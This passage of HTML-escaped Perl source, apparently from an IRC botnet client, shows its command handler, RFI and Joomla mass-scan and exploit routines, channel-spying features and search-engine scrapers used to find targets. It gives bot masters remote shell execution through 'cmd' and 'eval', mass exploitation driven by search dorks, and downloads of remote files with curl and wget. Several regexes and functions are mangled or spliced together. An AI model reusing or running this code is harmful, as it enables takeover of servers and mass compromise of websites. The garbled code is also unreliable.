<br />
    my ($dnick,$dhost) = split(/!/,$duhost);
<br />
    $dcom    = &quot;&quot; unless ($dcom);
<br />
    $dtarget = &quot;&quot; unless ($dtarget);
<br />
    $dnick =~ s/://;
<br />
    $dteks = trimrn($dteks);
<br />
    if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = &quot;&quot;; }
<br />

<br />
    #print $baris.&quot;\n$dnick | $dcom | $dtarget : $dteks\n&quot;;
<br />

<br />
    ##[ CEK USER ]##
<br />
    if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{&quot;login&quot;},$boss{$dnick}{&quot;status&quot;}); }
<br />
    else { ($loginboss,$userstat) = (0,&quot;&quot;); }
<br />

<br />
    ##[ RESPON KE SERVER ]##
<br />
    if    ($dnick =~ /PING/) { irc_raw(&quot;PONG $dteks&quot;); }
<br />
    if    ($dcom =~ /001/) { irc_join($chanx); foreach my $c (@chans) { irc_join($c); } }
<br />
    elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{&quot;login&quot;} == 1 ) { $boss{$dnick}{&quot;login&quot;} = 0; irc_ntc($dnick,&quot;Logout!&quot;);  } }
<br />

<br />
    ##[ PERINTAH PUBLIK ]##
<br />
    if    (($dtarget) &amp;&amp; ($dtarget eq $me)) { $dtarget = $dnick; }
<br />
    if    ($com =~ /^help$/) { bot_help($dtarget,1); }
<br />
    elsif ($com =~ /^info$/) { bot_info($dtarget); }
<br />
    elsif ($com =~ /^gaebot\s+(http:\/\/.*[=])/) { gae_bota($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^gaebotendel\s+(http:\/\/.*[=])/) { gae_botb($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^gaebotping\s+(http:\/\/.*[=])/) { gae_botc($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^upbot\s+(http:\/\/.*[=])/) { gae_botm($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^enter\s+(http:\/\/.*[=])/) { entered($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^gaebotscan\s+(http:\/\/.*[=])/) { gaescan($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^gaebotedan\s+(http:\/\/.*[=])/) { gaeruwet($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^respon/) { cek_respon($dtarget); }
<br />
    elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
<br />
    elsif ($com =~ /^url(en|de)\s+(.*)/) {
<br />
      my $url = $2; my $en;
<br />
      if    ( $1 eq &quot;en&quot; ) { $en = &quot;Encode&quot;; $url = urlen($url); }
<br />
      elsif ( $1 eq &quot;de&quot; ) { $en = &quot;Decode&quot;; $url = urlde($url); }
<br />
      msgi($dtarget,&quot;URL $en&quot;, $url);
<br />
    }
<br />
    elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
<br />
    elsif ($com =~ /^power\s+(.*)/ &amp;&amp; $boss{$dnick}) {
<br />
      my $pass = $1; my $auth = $boss{$dnick}{&quot;login&quot;};
<br />
      if ( $pass &amp;&amp; $auth == 0 ) {
<br />
        if ($pass eq $boss{$dnick}{&quot;pass&quot;}) {
<br />
          $boss{$dnick}{&quot;login&quot;} = 1;
<br />
          irc_ntc($dnick,&quot;OK &quot;.$boss{$dnick}{&quot;status&quot;}.&quot;!&quot;);
<br />
        }
<br />
        else { irc_ntc($dnick,&quot;Error!&quot;); }
<br />
      }
<br />
      else {
<br />
        if ($auth == 0) { irc_ntc($dnick,&quot;Blom auth!&quot;); }
<br />
        else { irc_ntc($dnick,$boss{$dnick}{&quot;status&quot;}.&quot;!&quot;); } }
<br />
    }
<br />
    if ($dtarget &amp;&amp; $dtarget ne $me) {
<br />
      if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) &amp;&amp; (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
<br />
      if    (($com =~ /^at\s+(.+?[=])\s+(.*)/) &amp;&amp; (fork() == 0)) { a_scanz($dtarget,$1,$2,$hb,1); exit;  }
<br />
      elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) &amp;&amp; (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
<br />
    }
<br />
    ##[ END OF PUBLIC ]##
<br />

<br />
    ##[ PERINTAH USER ]##
<br />
    if ($loginboss == 1) {
<br />
      if    ($com =~ /^help/) { bot_help($dtarget,2); }
<br />
      elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
<br />
      elsif ($com =~ /^part\s+(.*)/) {
<br />
        my $pchan = $1; irc_part($1);
<br />
        for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
<br />
      }
<br />
      elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
<br />
      elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(&quot; &quot;,@bos); msgi($dtarget,&quot;BoZz&quot;,$bos2); }
<br />
      elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
<br />
      elsif ($com =~ /^logout$/ ) { $boss{$dnick}{&quot;login&quot;} = 0; irc_ntc($dnick,&quot;Logout berhasil!&quot;); }
<br />
      elsif (($com =~ /^joomla\s+(.*)/) &amp;&amp; (fork() == 0)) { s_scanz($dtarget,&quot;&quot;,$1,$hb,3); exit; }
<br />
      elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
<br />
      elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
<br />
        my ($t,$nf,$q) = ($1,$2,$3);
<br />
        my $h;
<br />
        if ($t == 1) { $h = bukasitus($q); }
<br />
        elsif ($t == 2) { $h = bukasitus2($q); }
<br />
        else { $h = bukasitus3($q); }
<br />
        f_simpan2($nf,$h); ntci($dnick,&quot;SaVeD ($t)&quot;,$nf);
<br />
      }
<br />
      elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
<br />
        my $n = $1;
<br />
        my $q = bukasitus($2);
<br />
        my $regex = $3;
<br />
        if ($n ==1) {
<br />
          if ($q !~ /$regex/) { irc_msg($dtarget,&quot;Ga cocok!&quot;); }
<br />
          while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
<br />
        }
<br />
        else {
<br />
          while ($q =~ m/&lt;a&gt;http:\/\/(.*?)&lt;/a&gt;/g) { irc_msg($dtarget,$2); sleep(1); }
<br />
        }
<br />
      }
<br />
    }
<br />
    ##[ END OF USER ]##
<br />

<br />
    ##[ PERINTAH ADMIN ]##
<br />
    if (($loginboss == 1) &amp;&amp; ($userstat eq &quot;admin&quot;)) {
<br />
      if    ($com =~ /^help/) { bot_help($dtarget,3); }
<br />
    elsif ($com =~ /^rahasia/) { bot_help($dtarget,4); }
<br />
      elsif ($com =~ /^gojoin\s+(.*)/) { irc_join($1); push(@chans,$1); }
<br />
      elsif ($com =~ /^gopart\s+(.*)/) {
<br />
        my $pchan = $1; irc_part($1);
<br />
        for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
<br />
      }
<br />
      elsif ($com =~ /^gonick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
<br />
      elsif ($com =~ /^rfiproses\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,&quot;RFI Pid&quot;,$conf{rfipid}); }
<br />
      elsif ($com =~ /^minggat/) { irc_quit(&quot;Good Bye!&quot;); $keluar = 1; exit; }
<br />
      elsif ($com =~ /^reonline/) { irc_quit(&quot;Restarted proses!&quot;); }
<br />
      elsif ($com =~ /^explo\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,&quot;RFI Count&quot;,$conf{rficnt}); }
<br />
      elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,&quot;Injector RFI&quot;,$fx29sh); }
<br />
      elsif ($com =~ /^csp\s+(.*)/) { $spread = $1; msgi($dtarget,&quot;Injector Spread&quot;,$spread); }
<br />
      elsif ($com =~ /^chanhasil\s+(.*)/) { $chanx = $1; msgi($dtarget,&quot;Chan Hasil Target &quot;,$chanx); }
<br />
      elsif ($com =~ /^goid(1|2)\s+(.*)/) {
<br />
        my ($n,$url) = ($1,$2);
<br />
        if    ($n == 1) { $zfxid = $url; }
<br />
        elsif ($n == 2) { $zfxid2 = $url; }
<br />
        msgi($dtarget,&quot;Respon $n RFI&quot;,$url);
<br />
      }
<br />
      elsif ($com =~ /^urlbot(1|2|3)\s+(.*)/) {
<br />
        my ($n,$url) = ($1,$2);
<br />
        if    ($n == 1) { $pbot = $url; }
<br />
        elsif ($n == 2) { $thebot = $url; }
<br />
        elsif ($n == 3) { $cbot = $url; }
<br />
        msgi($dtarget,&quot;12,1 - x - 11Change Bot url3 $n 1Tranforms3&quot;,$url);
<br />
      }
<br />
      elsif ($com =~ /^urlcetak(1|2)\s+(.*)/) {
<br />
        my ($n,$url) = ($1,$2);
<br />
        if    ($n == 1) { $botscan = $url; }
<br />
        elsif ($n == 2) { $botedan = $url; }
<br />
        msgi($dtarget,&quot;12,1 - x - 11Change url Mesin Cetak3 $n 1Tranforms3&quot;,$url);
<br />
      }
<br />
      elsif ($com =~ /^chans/) { my $chans = join(&quot;,&quot;, @chans); ntci($dnick,&quot;ChaNz&quot;,$chans);  }
<br />
      ##[ PERINTAH SPY ]##
<br />
      elsif ($com =~ /^spy$/ ) { ntci($dnick,&quot;SpY&quot;,&quot;Host: &quot;.$spy{&quot;host&quot;}.&quot; Chans: &quot;.join(&quot;,&quot;, @{ $spy{&quot;chanz&quot;} }).&quot; Words: &quot;.join(&quot;,&quot;, @{ $spy{&quot;wordz&quot;} })); }
<br />
      elsif ($com =~ /^spy(found|show|clear)$/ ) {
<br />
        my $n = $1;
<br />
        if ($n eq &quot;found&quot;) { msgi($dtarget,&quot;SpYFouNd&quot;,scalar(@{ $spy{&quot;foundz&quot;} })); }
<br />
        elsif ($n eq &quot;show&quot;) {
<br />
          my $i = 0;
<br />
          for my $f (@{ $spy{&quot;foundz&quot;} }) { irc_msg($dtarget,$f); }
<br />
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
<br />
        }
<br />
        elsif ($n eq &quot;clear&quot;) { $spy{&quot;foundz&quot;} = []; msgi($dtarget,&quot;SpyList&quot;,&quot;DiBersiHkaN!&quot;); }
<br />
        else { msge($dtarget,&quot;Spy&quot;,&quot;PeRinTah SaLah!&quot;); }
<br />
      }
<br />
      elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{&quot;host&quot;} = $1; ntci($dnick,&quot;SpYHosT&quot;,$spy{&quot;host&quot;}); }
<br />
      elsif ($com =~ /^spychan\s+(.*)/ ) {
<br />
        unless ($spy{&quot;host&quot;}) { msge($dtarget,&quot;SiLaHkaN SeT SpyHost TerLebih DahuLu!&quot;,&quot;&quot;); }
<br />
        else{ irc_join($1); push @{ $spy{&quot;chanz&quot;} }, $1; my $chans = join(&quot;,&quot;, @{ $spy{&quot;chanz&quot;} }); ntci($dnick,&quot;SpYChaNz&quot;,$chans); }
<br />
      }
<br />
      elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{&quot;wordz&quot;} }, $1; my $words = join(&quot;,&quot;, @{ $spy{&quot;wordz&quot;} }); ntci($dnick,&quot;SpYWoRDz&quot;,$words); }
<br />
      ##[ END OF PERINTAH SPY ]##
<br />
      elsif ($com =~ /^keluar/) { irc_quit(&quot;Killed!&quot;); $keluar = 1; system(&quot;killall perl&quot;); exit; }
<br />
      elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
<br />
      elsif ($com =~ /^cspread\s+(.*)/) {
<br />
        my $url = $1;
<br />
        $spread = $url;
<br />
        msgi($dtarget,&quot;Spread RFI&quot;,$spread);
<br />
      }
<br />
      elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
<br />
        $boss{$1}{pass}   = &quot;fx&quot;;
<br />
        $boss{$1}{status} = $2;
<br />
        $boss{$1}{login}  = 0;
<br />
        $boss{$1}{cryptz} = 0;
<br />
        ntci($dnick,&quot;BoZz&quot;,&quot;$1 ditambahkan sbg &quot;.$boss{$1}{status});
<br />
        msgi($1,&quot;BoZz&quot;,&quot;Hai $1! Ketik .auth &quot;.$boss{$1}{pass});
<br />
      }
<br />
      elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
<br />
      elsif (( $com =~ /^cmd\s+(.*)/) &amp;&amp; ( fork() == 0 ) ) {
<br />
        my $cmd = $1;
<br />
        if ($cmd =~ /cd (.*)/) { chdir(&quot;$1&quot;) || irc_msg($dtarget,&quot;Ga bisa ganti dir!&quot;); return; }
<br />
        my @output = `$cmd`;
<br />
        my $i = 0;
<br />
        foreach my $out (@output) {
<br />
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
<br />
          irc_msg($dtarget,&quot;$out&quot;);
<br />
        }
<br />
        exit;
<br />
      }
<br />
    }
<br />
    ## END OF ADMIN ##
<br />

<br />
    ##[ MATA-MATA ]##
<br />
    if ($dtarget ne $spy{&quot;host&quot;}) {
<br />
      my $is_spychan = grep $_ eq $dtarget, @{$spy{&quot;chanz&quot;}};
<br />
      if ($is_spychan == 1) {
<br />
         for my $t (@{$spy{&quot;wordz&quot;}}) {
<br />
           if ($dteks =~ /$t/) {
<br />
             msgi($spy{&quot;host&quot;},&quot;!&quot;,$dteks); sleep(1);
<br />
             push @{ $spy{&quot;foundz&quot;} }, $dteks;
<br />
           }
<br />
         }
<br />
       }
<br />
    }
<br />
    ##[ END OF MATA-MATA ]##
<br />
  }
<br />
  ## END WHILE ##
<br />
}
<br />
## END KONEK ##
<br />

<br />
#########################
<br />
##[ RUTIN EKSPLOITASI ]##
<br />
#########################
<br />
sub s_scanz {
<br />
  my ($to,$bug,$dork,$sb,$type) = @_;
<br />
  $sb = &quot;Fx&quot;.$sb.&quot;.txt&quot;;
<br />
  $dork = bersihdork($to,$dork);
<br />
  my %typez = (
<br />
    1 =&gt; &quot;RFI ScaNneR&quot;,
<br />
    2 =&gt; &quot;RFI ScaN &amp; ExpLoiT&quot;,
<br />
    3 =&gt; &quot;JooMLa MaSs ScaN &amp; ExpLoiT&quot;
<br />
  );
<br />
  my $badbug  = cek_bug($bug);
<br />
  if ($badbug == 1) { msge($to,&quot;BuG&quot;,&quot;BuGnya JeLek! ScaNNinG DiCanCeL&quot;); return; }
<br />
  my $baddork = cek_dork($dork);
<br />
  if ($baddork == 1) { msge($to,&quot;DoRk&quot;,&quot;DorKnya JeLek! ScaNNinG DiCanCeL&quot;); return; }
<br />
  if ($type == 3) {
<br />
    my $h = bugjoomla(&quot;hitung&quot;);
<br />
    if ($h == 0) { msge($to,&quot;Joomla&quot;,&quot;BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL&quot;); return; }
<br />
  }
<br />
  irc_msg($to,$colz{1}.&quot;..::ScaneR LoadinG::..&quot;.$colz{2});
<br />
  my $stat = cek_respon($to);
<br />
  if ($stat != 2) { irc_msg($to,$colz{1}.&quot;ReSpoN Ga BeKerJa! ScaNning diCaNCeL!&quot;.$colz{2}); return; }
<br />
  irc_msg($to,$colz{1}.&quot;&quot;.$typez{$type}.&quot; DiMuLai!0 &quot;.$conf{rfipid}.&quot;/PID 9ID:0 $sb&quot;.$colz{2});
<br />
  irc_msg($to,$colz{1}.&quot;BuGz:0 $bug&quot;) if ($type != 3);
<br />
  irc_msg($to,$colz{1}.&quot;DoRkz:0 $dork&quot;);
<br />
  s_cari($to,$dork,$sb,$bug,$type);
<br />
  s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
<br />
  irc_msg($to,$colz{1}.&quot;&quot;.$typez{$type}.&quot; SeLeSai!0 $dork 7ID:0 $sb&quot;.$colz{2});
<br />
  return;
<br />
}
<br />

<br />
sub a_scanz {
<br />
  my @domini = &amp;SiteDomains();
<br />
  my ($to,$bug,$dork,$sb,$type) = @_;
<br />
  $sb = &quot;Fx&quot;.$sb.&quot;.txt&quot;;
<br />
  $dork = bersihdork($to,$dork);
<br />
  my %typez = (
<br />
    1 =&gt; &quot;Auto RFI ScaNneR Domains&quot;,
<br />
    2 =&gt; &quot;RFI ScaN &amp; ExpLoiT&quot;,
<br />
    3 =&gt; &quot;JooMLa MaSs ScaN &amp; ExpLoiT&quot;
<br />
  );
<br />
  my $badbug  = cek_bug($bug);
<br />
  if ($badbug == 1) { msge($to,&quot;BuG&quot;,&quot;BuGnya JeLek! ScaNNinG DiCanCeL&quot;); return; }
<br />
  my $baddork = cek_dork($dork);
<br />
  if ($baddork == 1) { msge($to,&quot;DoRk&quot;,&quot;DorKnya JeLek! ScaNNinG DiCanCeL&quot;); return; }
<br />
  if ($type == 3) {
<br />
    my $h = bugjoomla(&quot;hitung&quot;);
<br />
    if ($h == 0) { msge($to,&quot;Joomla&quot;,&quot;BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL&quot;); return; }
<br />
  }
<br />
   foreach my $Domains(@domini){
<br />
  irc_msg($to,$colz{1}.&quot;..::ScaneR LoadinG::..&quot;.$colz{2});
<br />
  my $stat = cek_respon($to);
<br />
  if ($stat != 2) { irc_msg($to,$colz{1}.&quot;ReSpoN Ga BeKerJa! ScaNning diCaNCeL!&quot;.$colz{2}); return; }
<br />
  irc_msg($to,$colz{1}.&quot;11&quot;.$typez{$type}.&quot; Start!0 &quot;.$conf{rfipid}.&quot;/PID 7ID:0 $sb&quot;.$colz{2});
<br />
  irc_msg($to,$colz{1}.&quot;12,1.10:11X10:12. 0Auto Scan Domain Dijalankan 4Please Waiting For it !!! 12.10:11X10:12.&quot;);
<br />
    my $auto_dork = $dork.&quot; site:&quot;.$Domains;
<br />
  irc_msg($to,$colz{1}.&quot;6BuGz:0 $bug&quot;) if ($type != 3);
<br />
  irc_msg($to,$colz{1}.&quot;12DoRkz:0 $auto_dork&quot;);
<br />
  s_cari($to,$auto_dork,$sb,$bug,$type);
<br />
  s_eksploit(1,$to,$bug,$auto_dork,$sb) if ($type == 1);
<br />
  irc_msg($to,$colz{1}.&quot;&quot;.$typez{$type}.&quot; SeLeSai!0 $auto_dork 7ID:0 $sb&quot;.$colz{2});
<br />
   }
<br />
}
<br />
sub s_eksploit {
<br />
  #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
<br />
  #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
<br />
  my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
<br />
  my @prosesbaru;
<br />
  my @semuatarget;
<br />
  my $hitung;
<br />
  my $num = 0;
<br />
  my @bugjoomla = bugjoomla($chan) if ($type == 3);
<br />
  unless (open(FILEZ,&quot;</b>(.+?)&lt;/strong&gt;/ ) {
<br />
    my $h = $1; $h =~ s/,//g; msgt($chan,&quot;Uol&quot;,&quot;$h&quot;);
<br />
  }
<br />
  if ( $q =~ /&lt;a&gt;/ ) {
<br />
      my $nxurl = htmltourl($1); msgn($dbgchan,&quot;Uol&quot;,&quot;Searching:&quot;);
<br />
  }
<br />
  while ( $q =~ m/&lt;dt&gt;&lt;a&gt;/g ) { push (@daftar, $1); }
<br />
  for ($p=1;$p&lt;=$max;$p += $num) {
<br />
    $q = bukasitus(&quot;http://mundo.busca.uol.com.br/buscar.html?q=&quot;.$key.&quot;&amp;start=&quot;.$p);
<br />
    while ( $q =~ m/&lt;dt&gt;&lt;a&gt;/g ) { push (@daftar, $1); }
<br />
    if ( $q !~ /&lt;dt&gt;&lt;a href/ ) { return @daftar; }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## LIVE ##
<br />
sub se_live {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 50; my $max = 5000; my $p;
<br />
  #my $url = &quot;http://localhost/search/search.live.com.htm&quot;;
<br />
  my $url = &quot;http://search.live.com/results.aspx?q=&quot;.$key.&quot;&amp;go&quot;;
<br />
  my $murl =  &quot;http://search.live.com&quot;;
<br />
  my $nxurl;
<br />
  my $q = bukasitus($url);
<br />
  if ( $q =~ /&lt;a  class=\&quot;sb_pagN\&quot; href=\&quot;(.*?)\&quot; onmousedown/ ) {
<br />
      my $nxurl = $1; msgn($dbgchan,&quot;Live&quot;,htmltourl($nxurl));
<br />
  }
<br />
  while ( $q =~ m/&lt;h3&gt;&lt;a href=\&quot;http:\/\/(.*?)\&quot;/g ) {
<br />
    my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
<br />
  }
<br />
  for ( $p=0;$p&lt;=$max;$p += $num ) {
<br />
    $nxurl = $murl.htmltourl($1).&quot;&amp;go&quot;;
<br />
    $q = bukasitus(&quot;http://search.live.com/results.aspx?q=&quot;.$key.&quot;&amp;first=&quot;.$p.&quot;&amp;FORM=PORE&quot;);
<br />
    while ( $q =~ m/&lt;h3&gt;&lt;/span&gt;(.+?)&lt;/span&gt;/ ) {
<br />
    my $h = $1; $h =~ s/,//g; msgt($chan,&quot;Gigablast&quot;,&quot;$h&quot;);
<br />
  }
<br />
  if ( $q =~ /&lt;a&gt;/ ) {
<br />
      my $nxurl = $1; msgn($dbgchan,&quot;Gigablast&quot;,&quot;Searching:&quot;);
<br />
  }
<br />
  while ( $q =~ m/&lt;a&gt;/g ) { push (@daftar, $1); }
<br />
  while ( $q =~ /&lt;a&gt;/ ) {
<br />
    $nxurl = $murl.htmltourl($1);
<br />
    $q = bukasitus($nxurl);
<br />
    while ( $q =~ m/&lt;a&gt;/g ) { push (@daftar, $1); }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## MAMMA ##
<br />
sub se_mamma {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 50; my $max = 10; my $p = 1;
<br />
  #my $url = &quot;http://localhost/search/mamma.com.htm&quot;;
<br />
  my $url = &quot;http://mamma.com/Mamma?utfout=1&amp;query=&quot;.$key.&quot;&amp;qtype=0&amp;rpp=50&amp;cb=Mamma&amp;index=&quot;.$p;
<br />
  my $murl;
<br />
  my $nxurl;
<br />
  my $q = bukasitus($url);
<br />
  if ( $q =~ /Search Results</b> .*? of (.*?) for/ ) {
<br />
    my $h = $1; $h =~ s/,//g; msgt($chan,&quot;Mamma&quot;,&quot;$h&quot;);
<br />
  }
<br />
  if ( $q =~ /&lt;a&gt;&lt;font&gt;Next/ ) {
<br />
    my $h = $1; $h =~ s/,//g; msgn($dbgchan,&quot;Mamma&quot;,&quot;Next: $h&quot;);
<br />
  }
<br />
  while ( $q =~ m/http:\/\/(.*?)\&lt;/span&gt;/g ) {
<br />
    my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
<br />
  }
<br />
  while ( $q =~ /&lt;a&gt;&lt;font&gt;Next/ ) {
<br />
    $nxurl = $murl.htmltourl($1);
<br />
    $q = bukasitus($nxurl);
<br />
    while ( $q =~ m/http:\/\/(.*?)\&lt;/span&gt;/g ) {
<br />
      my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
<br />
    }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## DMOZ ##
<br />
sub se_dmoz {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 20; my $max = 5000; my $p = 1;
<br />
  #my $url = &quot;http://localhost/search/search.dmoz.org.htm&quot;;
<br />
  my $url = &quot;http://search.dmoz.org/cgi-bin/search?search=&quot;.$key;
<br />
  my $murl = &quot;http://search.dmoz.org/cgi-bin/&quot;;
<br />
  my $nxurl;
<br />
  my $q = bukasitus($url);
<br />
  if ( $q =~ /Open Directory Sites</b>&lt;/font&gt; \((.+?) of (.+?)\)/ ) {
<br />
    my $h = $2; $h =~ s/,//g; msgt($chan,&quot;Dmoz&quot;,&quot;$h&quot;);
<br />
  }
<br />
  if ( $q =~ /&lt;a&gt;Next&lt;/a&gt;\&quot;&gt;/ ) {
<br />
      my $nxurl = $1; msgn($dbgchan,&quot;Dmoz&quot;,&quot;Searching:&quot;);
<br />
  }
<br />
  while ( $q =~ m/&lt;li&gt;&lt;a href=\&quot;http:\/\/(.*?)\&quot;/g ) { push (@daftar, $1); }
<br />
  while ( $q =~ /&lt;a&gt;Next&lt;/a&gt;/ ) {
<br />
    $nxurl = $murl.htmltourl($1);
<br />
    $q = bukasitus($nxurl);
<br />
    while ( $q =~ m/&lt;li&gt;&lt;a href=\&quot;http:\/\/(.*?)\&quot;/g ) { push (@daftar, $1); }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## VIRGILIO ##
<br />
sub se_virgilio {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 20; my $max = 2000; my $p = 0;
<br />
  my $url =  &quot;http://ricerca.alice.it/ricerca?qs=&quot;.$key.&quot;filter=1&amp;site=&amp;lr=&amp;hits=&quot;.$num.&quot;&amp;offset=&quot;.$p;
<br />
  my $murl = &quot;http://ricerca.alice.it/&quot;;
<br />
  my $nxurl;
<br />
  my $q = bukasitus($url);
<br />
  if ( $q =~ /&lt;span&gt;(.*?) risultati per <b>/ ) {
<br />
    my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
<br />
    msgt($chan,&quot;Virgilio&quot;,&quot;$h&quot;);
<br />
  }
<br />
  if ( $q =~ /&lt;a href=\&quot;.*\s+&lt;a&gt;&lt;span&gt;Avanti/ ) {
<br />
      my $nxurl = $1; msgn($dbgchan,&quot;Virgilio&quot;,&quot;Searching:&quot;);
<br />
  }
<br />
  while ( $q =~ m/&lt;h3&gt;&lt;a href=\&quot;http:\/\/(.*?)\&quot; class/g ) { push (@daftar, $1); }
<br />
  while ( $q =~ /&lt;/span&gt;http:\/\/(.*?)&lt;/p&gt;/g ) {
<br />
      my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
<br />
    }
<br />
    if ( $q !~ /url\&quot;&gt;http:\/\/(.*?)&lt;/p&gt;/ ) { return @daftar; }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## WEBCRAWLER ##
<br />
sub se_webcrawler {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 50; my $max = 500; my $p;
<br />
  for ( $p = 0;$p &lt;= $max; $p++ ) {
<br />
    $num += $num;
<br />
    my $url = &quot;http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=&quot;.$key.&quot;/qcoll=relevance/zoom=off/bepersistence=true/qi=&quot;.$num.&quot;/qk=50/page=&quot;.$p.&quot;/_iceUrlFlag=11?_IceUrl=true&quot;;
<br />
    my $q = bukasitus($url);
<br />
    while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
<br />
      my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
<br />
    }
<br />
    if ( $q !~ /wsPagerNext/ ) { return @daftar; }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## EUROSEEK ##
<br />
sub se_euroseek {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 10; my $max = 6000; my $p;
<br />
  for ( $p = 0;$p &lt;= $max; $p+=$num ) {
<br />
    my $url = &quot;http://euroseek.com/system/search.cgi?language=en&amp;mode=internet&amp;start=&quot;.$p.&quot;&amp;string=&quot;.$key;
<br />
    my $q = bukasitus($url);
<br />
    while ( $q =~ m/&lt;a&gt;/g ) { push (@daftar, $1); }
<br />
    if ( $q !~ /Next/ ) { return @daftar; }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## ABACHO ##
<br />
sub se_abacho {
<br />
  my ($chan,$key,$nf) = @_;
<br />
  my @daftar;
<br />
  my $num = 10; my $max = 1000; my $p = 0;
<br />
  for ( $p = 0;$p &lt;max&gt;http:\/\/(.+?)&lt;/a&gt;/g ) { push (@daftar, $1); }
<br />
    if ( $q !~ m/target=\&quot;_blank\&quot;&gt;http:\/\/(.+?)&lt;/a&gt;/g ) { return @daftar; }
<br />
    if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
<br />
  }
<br />
  return @daftar;
<br />
}
<br />
## END OF RUTIN SEARCH ENGINE ##
<br />

<br />
##[ BUG JOOMLA ]##
<br />
sub bugjoomla {
<br />
  my $mode = $_[0];
<br />
  my @bugz;
<br />
  system(&quot;lwp-download &quot;.$joomlaz);
<br />
  system(&quot;curl -O &quot;.$joomlaz);
<br />
  system(&quot;wget &quot;.$joomlaz);
<br />
  open(FILE,&quot;&lt;/a&gt;&gt;&quot;, $nf );
<br />
  my @slink = lnk_sub($hc);
<br />
  foreach my $s (@slink) { print $fh &quot;$s\n&quot;; }
<br />
  close $fh;
<br />
}
<br />
sub f_simpan2 {
<br />
  my ($nf,$isi) = @_;
<br />
  my $fh;
<br />
  open( $fh, &quot;&gt;&quot;, $nf ); print $fh &quot;$isi\n&quot;; close $fh;
<br />
}
<br />
sub f_simpan2b {
<br />
  my ($nf,$isi) = @_;
<br />
  my $fh;
<br />
  open( $fh, &quot;&gt;&gt;&quot;, $nf ); print $fh &quot;$isi\n&quot;; close $fh;
<br />
}
<br />

<br />
##[ HTTP QUERY ]##
<br />
sub bukasitus {
<br />
  my $url = $_[0];
<br />
  my $request = HTTP::Request-&gt;new(GET =&gt; $url);
<br />
  my $ua  = LWP::UserAgent-&gt;new;
<br />
  $ua-&gt;timeout($conf{timeout});
<br />
  $ua-&gt;agent('Mozilla/5.0');
<br />
  my $response = $ua-&gt;request($request);
<br />
  if ($response-&gt;is_success) { return $response-&gt;content; }
<br />
  else { return $response-&gt;status_line; }
<br />
}
<br />
sub bukasitus2 {
<br />
